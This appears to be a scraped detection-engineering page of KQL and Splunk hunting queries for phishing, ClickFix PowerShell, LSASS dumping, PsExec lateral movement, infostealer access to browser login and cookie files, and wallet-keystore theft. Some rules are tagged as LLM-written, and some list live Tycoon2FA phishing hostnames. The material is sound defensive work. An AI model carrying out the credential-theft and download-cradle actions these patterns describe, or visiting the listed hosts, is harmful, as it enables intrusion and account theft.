Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("bouleversement.niovapahrm.com", "haematogenesis.hvishay.com", "ubiquitarianism.drilto.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("bouleversement.niovapahrm.com", "haematogenesis.hvishay.com", "ubiquitarianism.drilto.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("bouleversement.niovapahrm.com", "haematogenesis.hvishay.com", "ubiquitarianism.drilto.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
[LLM] Storm-1747 Tycoon2FA Feb 2026 SVG campaign C2 hostname calloutDeliveryHigh
Detects host or browser connectivity to the three specific hostnames used in the Feb 23-25 2026 Tycoon2FA SVG-attachment AiTM campaign that hit 53,000+ orgs. Hits indicate a user opened a campaign SVG and the embedded JavaScript fetched the CAPTCHA-gated credential-harvest page.
Rationale: Hostnames bouleversement.niovapahrm[.]com, haematogenesis.hvishay[.]com and ubiquitarianism.drilto[.]com are the three landing-page hosts named explicitly in Microsoft's Q1 2026 email-threat report for the Feb 23-25 Tycoon2FA SVG campaign. They have no benign use; any DNS or HTTP touch is a confirmed compromise indicator. Tycoon2FA disruption coverage corroborated via Cloudflare, Trend Micro, Help Net Security and BleepingComputer write-ups.
Cross-checked against:
• https://www.microsoft.com/en-us/security/blog/2026/03/04/inside-tycoon2fa-how-a-leading-aitm-phishing-kit-operated-at-scale/
• https://www.cloudflare.com/threat-intelligence/research/report/tycoon-2fa-takedown/
• https://www.bleepingcomputer.com/news/security/tycoon2fa-phishing-platform-returns-after-recent-police-disruption/
• https://www.trendmicro.com/en_us/research/26/c/tycoon2fa-takedown.html
ATT&CKT1566.001T1204.002T1557T1656
Data sourcesNetwork_Resolution.DNSWeb.WebNetwork_Traffic.All_Traffic
let badHosts = dynamic(["bouleversement.niovapahrm.com","haematogenesis.hvishay.com","ubiquitarianism.drilto.com","niovapahrm.com","hvishay.com","drilto.com"]);
let badRoots = dynamic(["niovapahrm.com","hvishay.com","drilto.com"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl in~ (badHosts)
or RemoteUrl has_any (badRoots)
| project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort
| union (
EmailUrlInfo
| where Timestamp > ago(30d)
| where Url has_any (badRoots)
| join kind=inner (EmailEvents | where Timestamp > ago(30d)) on NetworkMessageId
| project Timestamp, RecipientEmailAddress, SenderFromAddress, Subject, Url, NetworkMessageId
)
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(DNS.src) as src values(DNS.answer) as resolved_ip from datamodel=Network_Resolution where DNS.query IN ("bouleversement.niovapahrm.com","haematogenesis.hvishay.com","ubiquitarianism.drilto.com","*.niovapahrm.com","*.hvishay.com","*.drilto.com") by DNS.src DNS.query | `drop_dm_object_name(DNS)` | append [| tstats `summariesonly` count from datamodel=Web where Web.url IN ("*niovapahrm.com*","*hvishay.com*","*drilto.com*") by Web.src Web.user Web.url Web.http_user_agent | `drop_dm_object_name(Web)`] | convert ctime(firstTime) ctime(lastTime) | sort - count
[LLM] Phishing SVG attachment named with Base64-encoded recipient emailDeliveryMedium
Hunts inbound emails or on-disk artifacts whose SVG filename embeds the recipient's email address as a Base64 token, the tradecraft signature of the Feb 23-25 2026 Tycoon2FA campaign (themes: 401K update, voice message, past-due invoice, payment confirmation). The Base64-in-filename pattern is rare for legitimate SVG content and persists across the campaign's renamed variants.
Rationale: The article enumerates five exact filename templates (e.g. `401K_copy_<Recipient>_<Base64>_241.svg`, `Listen_(<Base64>).svg`) that all embed the Base64-encoded recipient email - a strong tradecraft fingerprint of Storm-1747's SVG distribution. SVGs with both phishing-themed prefixes AND a long Base64 token in the name are nearly absent from legitimate traffic. Proofpoint and SC Media independently corroborate the Tycoon2FA SVG distribution surge in this period.
Cross-checked against:
• https://www.proofpoint.com/us/blog/threat-insight/disruption-targets-tycoon-2fa-popular-aitm-phaas
• https://www.scworld.com/brief/stealthier-tycoon2fa-phishing-kit-appears-as-phaas-platforms-fuel-svg-exploitation
ATT&CKT1566.001T1027.013T1204.002
Data sourcesEmail.All_EmailEndpoint.Filesystem
let svgPattern = @"(?i)(401K|PLAY_AUDIO_MESSAGE|Listen_\(|statements_inv|Check_\d+_Payment_Copy|INV#_\d+)";
let b64Pattern = @"[A-Za-z0-9+/]{16,}={0,2}";
EmailAttachmentInfo
| where Timestamp > ago(30d)
| where FileName endswith ".svg"
| where FileName matches regex svgPattern or FileName matches regex b64Pattern
| join kind=inner (
EmailEvents
| where Timestamp > ago(30d)
| where DeliveryAction in ("Delivered","DeliveredAsSpam")
) on NetworkMessageId
| project Timestamp, RecipientEmailAddress, SenderFromAddress, SenderIPv4, Subject, FileName, FileType, SHA256, NetworkMessageId
| union (
DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName endswith ".svg"
| where FileName matches regex svgPattern
or (FileName matches regex b64Pattern and FileName !contains "thumbnail" and FileName !contains "icon")
| where InitiatingProcessFileName in~ ("outlook.exe","olk.exe","msedge.exe","chrome.exe","firefox.exe","thunderbird.exe")
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessAccountName
)
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Email.src_user) as sender values(All_Email.recipient) as recipient values(All_Email.subject) as subject values(All_Email.file_name) as files from datamodel=Email where All_Email.file_name="*.svg" by All_Email.message_id All_Email.file_name | `drop_dm_object_name(All_Email)` | rex field=file_name "(?<b64token>[A-Za-z0-9+/=]{20,})" | where isnotnull(b64token) | eval decoded=if(isnotnull(b64token),replace(b64token,"=+$",""),null()) | eval decoded=tostring(base64decode(decoded)) | where match(decoded,"@") OR match(file_name,"(?i)401[Kk]|PLAY_AUDIO_MESSAGE|Listen_\(|statements_inv|Check_\d+_Payment|INV#_\d+") | convert ctime(firstTime) ctime(lastTime) | sort - count
[LLM] Browser-rendered SVG followed by outbound HTTPS to fresh .RU TLD landing page (post-takedown Tycoon2FA)Command & ControlMedium
Hunts the post-March-2026 Tycoon2FA reconstitution pattern: a user opens an SVG (or PDF) from email staging, the local browser process renders it, and within seconds initiates outbound HTTPS to a recently-registered .RU domain - the TLD that jumped to >41% of Tycoon2FA infrastructure after the DCU takedown. Designed to surface the rebuild while seed indicators are still scarce.
Rationale: Microsoft reports >41% of post-disruption Tycoon2FA domains shifted to .RU since the last week of March 2026, and the kit's primary delivery vehicle remained SVG/PDF attachments that render in the user's local browser before redirecting to the AiTM landing page. Correlating an SVG file write in mail/temp paths with a same-host browser HTTPS connection to a .RU TLD inside 5 minutes captures the kit's distinctive open-then-redirect chain while Tycoon2FA seed-IOC lists catch up. Cross-referenced with CrowdStrike and BleepingComputer post-takedown telemetry confirming the .RU pivot.
Cross-checked against:
• https://www.crowdstrike.com/en-us/blog/tycoon2fa-phishing-as-a-service-platform-persists-following-takedown/
• https://www.bleepingcomputer.com/news/security/tycoon2fa-phishing-platform-returns-after-recent-police-disruption/
• https://www.cloudflare.com/threat-intelligence/research/report/tycoon-2fa-takedown/
ATT&CKT1566.001T1204.002T1557T1583.001
Data sourcesEndpoint.FilesystemEndpoint.ProcessesWeb.Web
let window = 5m;
let svgOpens =
DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName endswith ".svg"
| where FolderPath has_any (@"\Downloads\", @"\AppData\Local\Temp\", @"\INetCache\", @"\Content.Outlook\")
| where InitiatingProcessFileName in~ ("outlook.exe","olk.exe","msedge.exe","chrome.exe","firefox.exe")
| project SvgTime=Timestamp, DeviceId, DeviceName, SvgFile=FileName, SvgPath=FolderPath, SvgUser=InitiatingProcessAccountName;
let ruCallouts =
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName in~ ("msedge.exe","chrome.exe","firefox.exe","brave.exe","iexplore.exe")
| where RemoteUrl endswith ".ru" or RemoteUrl matches regex @"\.ru(/|:|$)"
| where RemotePort in (443, 80)
| project NetTime=Timestamp, DeviceId, RemoteUrl, RemoteIP, BrowserProc=InitiatingProcessFileName, BrowserCmd=InitiatingProcessCommandLine;
svgOpens
| join kind=inner ruCallouts on DeviceId
| where NetTime between (SvgTime .. SvgTime + window)
| project SvgTime, NetTime, DeltaSec=datetime_diff('second', NetTime, SvgTime), DeviceName, SvgUser, SvgFile, SvgPath, RemoteUrl, RemoteIP, BrowserProc
| sort by SvgTime desc
| tstats `summariesonly` count min(_time) as svg_time from datamodel=Endpoint.Filesystem where Filesystem.file_name="*.svg" Filesystem.file_path IN ("*\\AppData\\Local\\Temp\\*","*\\Downloads\\*","*\\INetCache\\*","*\\Outlook\\*") by Filesystem.dest Filesystem.user Filesystem.file_name | `drop_dm_object_name(Filesystem)` | join type=inner dest [| tstats `summariesonly` count min(_time) as web_time values(Web.url) as urls values(Web.http_user_agent) as ua from datamodel=Web where Web.url="*.ru/*" Web.app IN ("msedge.exe","chrome.exe","firefox.exe","brave.exe") by Web.dest Web.user Web.site | `drop_dm_object_name(Web)` | rename dest as dest] | eval delta=web_time-svg_time | where delta>=0 AND delta<=300 | convert ctime(svg_time) ctime(web_time) | table svg_time web_time delta dest user file_name site urls ua
2026-04-301 use case2 techniques5 kill-chain phases detected
When a new asset goes live, attackers start scanning within minutes. Sprocket Security shows how automated attacks move from discovery to compromise in under 24 hours. [...]
ATT&CKT1021.001T1021.002
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Service install for persistence — sc.exe / new service registry write
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Service install for persistence — sc.exe / new service registry writeInstallationHigh
Service install with binPath pointing to user-writeable path or LOLBin. Detects via process telemetry (sc.exe create) and registry (HKLM\SYSTEM\CurrentControlSet\Services\* writes).
ATT&CKT1543.003
Data sourcesEndpoint.ProcessesEndpoint.RegistryDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "sc.exe" and ProcessCommandLine has "create"
| where ProcessCommandLine matches regex @"(?i)(\Users\|\AppData\|\ProgramData\|\Temp\)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="sc.exe" AND Processes.process="*create*"
AND (Processes.process="*\Users\*" OR Processes.process="*\AppData\*"
OR Processes.process="*\ProgramData\*" OR Processes.process="*\Temp\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Registry
where Registry.registry_path="*\\SYSTEM\\CurrentControlSet\\Services\\*"
AND Registry.registry_value_name="ImagePath"
AND (Registry.registry_value_data="*\Users\*"
OR Registry.registry_value_data="*\AppData\*"
OR Registry.registry_value_data="*\Temp\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.user
| `drop_dm_object_name(Registry)`]
2026-04-3015 use cases10 techniques7 kill-chain phases detected
The internet is noisy this week. We are seeing some wild new tactics, like people using fake cell towers to send scam texts, while some developers are accidentally downloading tools that peek into their private files during a simple install. It is definitely a busy time to be online. Security is always a moving target. Millions of servers are currently sitting online without any passwords, and
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2019-0708", "CVE-2026-24908", "CVE-2026-23627", "CVE-2026-3965", "CVE-2026-4047", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
